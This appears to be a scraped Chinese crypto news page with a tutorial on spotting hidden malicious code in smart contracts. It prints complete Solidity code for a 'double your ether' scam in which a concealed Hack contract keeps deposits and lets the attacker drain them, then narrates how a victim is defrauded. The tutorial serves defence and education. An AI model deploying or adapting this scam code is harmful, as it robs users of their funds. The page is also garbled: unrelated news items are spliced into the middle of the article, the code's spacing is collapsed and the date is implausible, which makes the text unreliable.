火星链 火星链
Ctrl+D收藏火星链
首页 > 莱特币 > 正文

VAULT:智能合约安全审计入门篇 —— 移花接木

作者:

时间:1900/1/1 0:00:00

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

96核区块链芯片板卡已投入使用:区块链转账类智能合约处理速度可提升50倍:金色财经报道,据首都之窗官方公众号消息,北京市科学技术委员会、中关村科技园区管理委员会主任许强透露,96核区块链芯片板卡卡现在已经投入使用。通过这个芯片和板卡,可以将区块链数字签名、验签速度提升20倍,区块链转账类智能合约处理速度提升50倍。不仅如此,这个芯片还构建了一个“安全屋”,实现了数据可用不可见,这样大规模区块链应用就实现了它的功能突破。[2022/1/9 8:35:59]

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

美国爱荷华州批准参议院541号文件,允许使用分布式账本技术和智能合约:美国爱荷华州批准参议院541号文件,允许使用分布式账本技术和智能合约。该文件将促进电子交易,使电子记录、签名和合同得到法律承认。它将允许使用“分布式账本技术”(区块链技术),提供由一台或多台计算机统一和冗余维护的交易电子记录,以保证交易的一致性。(The Gazette)[2021/3/30 19:28:21]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

而实际的调用路径为:

MoneyMaker->Hack。

火币生态链LendHub借贷平台已通过智能合约安全审计:火币生态链LendHub借贷平台宣布已通过第三方智能合约审计。据了解,火币生态链LendHub借贷平台上线首日,锁定价值已超过3000万美金,当前存借总额超过4000万美金。LendHub已于1月14日15:00正式上线,首期支持火币生态链上HT、HUSD、HBTC、ETH、HDOT、HFIL、QTUM 7个币种借贷挖矿LHB。

LendHub是基于火币生态 Heco链的去中心化借贷平台,支持多个Heco链上币种的质押借贷。用户通过在 LendHub 上进行质押或借贷即可获得激励通证 LHB 奖励。LHB 将作为 LendHub 平台的枢纽,通过支持火币生态链上资产相互通融的质押借贷,实现火币生态资产间的相互通融与价值传递。[2021/1/16 16:18:01]

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

瑞波没有智能合约或由于代码结果不确定、编程语言选择等问题:在最近的一次研讨会上,瑞波CTO David Schwartz和Coli CEO Stefan Thomas探讨了为什么瑞波没有智能合约。Stefan Thomas表示之前曾以谷歌本地客户端为基础推出过一个原型,但由于代码不能产生确定性的结果,以及选择何种编程语言等问题,他们没有将智能合约整合进瑞波账本。[2020/8/12]

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

TRON网络智能合约触发器数已达926324931:孙宇晨在推特表示,TRON网络智能合约触发器数(smart contract triggers)已达926324931。[2020/7/31]

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

标签:MAKEMakerULTVAULTMake Me Richmakerdao创始人mushgainadultchainChainlink NFT Vault (NFTX)

莱特币热门资讯
EFI:1kx合伙人:浅谈设计代币网络的挑战及解决方案

原文作者:Peter‘pet?3?rpan’原文编译:深潮TechFlow创建一个可持续的代币网络涉及多个方面,需要参与者之间的协调和运营.

1900/1/1 0:00:00
NFT:2023年NFT 市场分析(上):市场概况与微观趋势

原文:CoinMarketCap&NFTGO?译:金色财经目录主要观点第1章市场概述1.1NFT市场的过山车式波动1.2NFT市场和交易的现状第2章微观趋势和流动性2.

1900/1/1 0:00:00
区块链:数字人民币苏州试点答卷:“综合科技服务商”价值初显现

这个双十二,数字人民币再次走进公众视野,金融与科技又一次碰撞出不一样的火花。一、数字人民币试点再突破,线上场景等诸多亮点引关注继10月深圳罗湖数字人民币试点之后,苏州成为了又一个派发数字人民币红.

1900/1/1 0:00:00
比特币:证券时报:数字人民币将成为安全普惠零售支付基础设施

来源:证券时报作者:王君晖近日,央行首次披露数字人民币研发情况,随着数字人民币从理论走向现实,中国在该领域的实践已走在全球前列.

1900/1/1 0:00:00
Swarm:浅谈Swarm网络的三大激励措施

Swarm的经济模型和我们所接触的大部分项目不一样,为了激励更多的用户参与,大部分项目都会设置固定的产出比例和产出时间,但是Swarm网络并没有设置相对应的产出,那么.

1900/1/1 0:00:00
LOOP:Loopring研究报告

目录一、项目简介及愿景二、特色和优势三、发展历史四、团队背景五、融资信息六、发展成果七、经济模型八、基本面分析九、风险与机会一、项目简介及愿景 Loopring协议是一个专为应用程序开发的zkR.

1900/1/1 0:00:00